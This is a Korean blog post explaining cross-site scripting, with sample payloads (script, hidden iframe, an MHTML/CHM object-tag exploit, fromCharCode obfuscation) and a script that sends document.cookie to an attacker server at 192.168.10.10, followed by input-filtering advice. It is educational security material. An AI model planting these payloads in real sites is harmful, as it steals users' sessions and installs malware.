전용뷰어 보기

 

 

 

 

 

 

대부분의 웹 해킹 기법과는 달리, XSS는 사용자를 공격하는 기법이다.

예를 들어 악성코드가 포함된 글을 읽는 순간 악성 프로그램이 설치되거나 쿠키 혹은 세션 정보가 공격자에게 전송되어 이를 악용한다.

직접적인 공격기법을 사용하지 않고 간접적인 매체를 사용하여 사용자에게 접근하는 사회공학기법을 사용한다.

 

 

XSS 다른 점은 XSS 악성 스크립트를 이용하여 클라이언트에서 발생하는 Action이지만

CSRF 다른 사람의 권한을 이용하여 서버에 부정적인 요청을 일으키는 공격이다.

 

 

 

 

 

 

ㅁ사례

1. <script> 태그 삽입

URL 파라미터 값에 스크립트를 넣는 방식으로 <script>와 </script> 넣는 내용에 따라 다양한 기법을 구사할 수 있다.

ex) <a href="http://sample.com/comment.cgi?comment=<script>악성코드</script>"> Click here </A>

 

 

2. <iframe> 태그 삽입

iframe 태그를 이용하여 악성 코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을 다운로드 시킨다.

ex) <iframe src=http://sample.com/~bbs/hack.htm name="Click here" width=0 heigth=0frameborder=0></iframe>

 

 

3. <Object> 태그 삽입

object 태그와 ITS 프로토콜 핸들러에 의한 chm처리시의 취약점을 이용한다.

ex) object width=0 height=0 style=display:none; type=text/xscriptlet"

      Data=mk:@MSITStore:mhtml:c:\nosuchfile.mht!http://sample.com/exploit_chm::exploit.html></script>

    --> 사용자 PC에 c:\nosuchfile.mht 파일이 존재하지 않는 경우(시스템에 존재하지 않는 파일 이름을 적기)

          http://sample.com/exploit_chm::exploit.html에 접속하여 로컬 시스템 파일처럼 exploit.html을 실행한다.

          당연히 이 exploit.html은 악성코드가 된다.

 

4.String.fromCharCode()함수 삽입

String.fromCharCode()함수를 사용하여 URL 정보를 인코딩 하는 기법이며, 일반 문자열을 10진수로 표기하여 관리자의

가독성을 떨어뜨린다.

ex) <script> alert(String.fromCharCode(116,101,115,116))</script>

     --> 116=t, 101=e, 115=s, 116=t

 

 

 

ㅁ XSS공격

XSS 취약점이 존재하는 사이트 게시판에 대해 script 코드를 삽입하였다.

<script> alert(document.write); </script>

 

 

1. 정상적으로 xss라는 제목으로 게시글이 등록되었다. 참고로 해당 사이트는 회원가입이 따로 필요없었다.

 

 

 

2. 해당 글을 클릭하니 쿠키값이 그대로 팝업창으로 나타난다. 바로 XSS공격에 대한 치명적인 취약점이다.

 

 

 

 

해커가 이를 악용한다면 상당히 큰 피해를 입을 수 있다.

공격자가 올린 게시글을 다른 사람이 읽게 된다면 그 읽은 사용자의 쿠키값이 공격자의 컴퓨터로 전송되어

공격자는 쿠키정보를 입수하게 된다. 여기서 이 글을 읽은 사람은 공격을 당했다는 사실을 알지 못한다.

위의 테스트 결과에서는 말 그대로 테스트용이므로 alert로 뿌려줬기때문이지만 실제로는 피해자가 모르게 쿠키값을 빼갈수 있다.

 

아래의 예를 보자.

게시글을 읽게 되면 피해자의 쿠키값은 공격자의 서버에 고스란히 넘어가게 된다.

<script>

url="http://192.168.10.10/getCookie.asp?cookie="+document.cookie;window.open(url, width=0, height=0);

</script>

 

 

다음은 공격자의 서버에서 실제로 쿠키값을 받아올 코드이다.

 

 

 

ㅁ 대응방법

가장 중요한 것은 스크립트 코드에 사용되는 특수문자에 대해 이해하고 필터링을 해야한다.

효과적인 방법은 사용자가 입력 가능한 문자만을 지정해 놓고, 그 문자열이 아니면 필터링을 한다.

 

 

실제로 구현한 코드이다.

- replace(문자열, 찾을 문자열, 바꿀 문자열)

 

  

참고할 만한 사이트 : http://heuristing.net/index.php?pl=1393

http://ghlee.tistory.com/107

 

http://blog.naver.com/darkangelo?Redirect=Log&logNo=90085074496


'보안 > ' 카테고리의 다른 글

SSO 인증  (0) 2015.11.20
웹 보안에 자주사용되는 공격기법  (0) 2015.11.20
SQL 인젝션 이란?  (0) 2015.11.20
SQL Injection Attack Query (SQL 인젝션 공격쿼리)  (0) 2015.11.20
웹해킹 - SQL 인젝션  (0) 2015.11.20
블로그 이미지

532

처음 프로그래밍을 시작한 개발자들은 Hello World!를 기억 할 것이다. Hello world가 Hell World가 될 줄 몰랐던 한 개발자의 이야기. 게시글의 출처를 표기하며, 출처를 남기지 않고 펌을 하는것에 대해 법적 책임을 묻지 않습니다.

,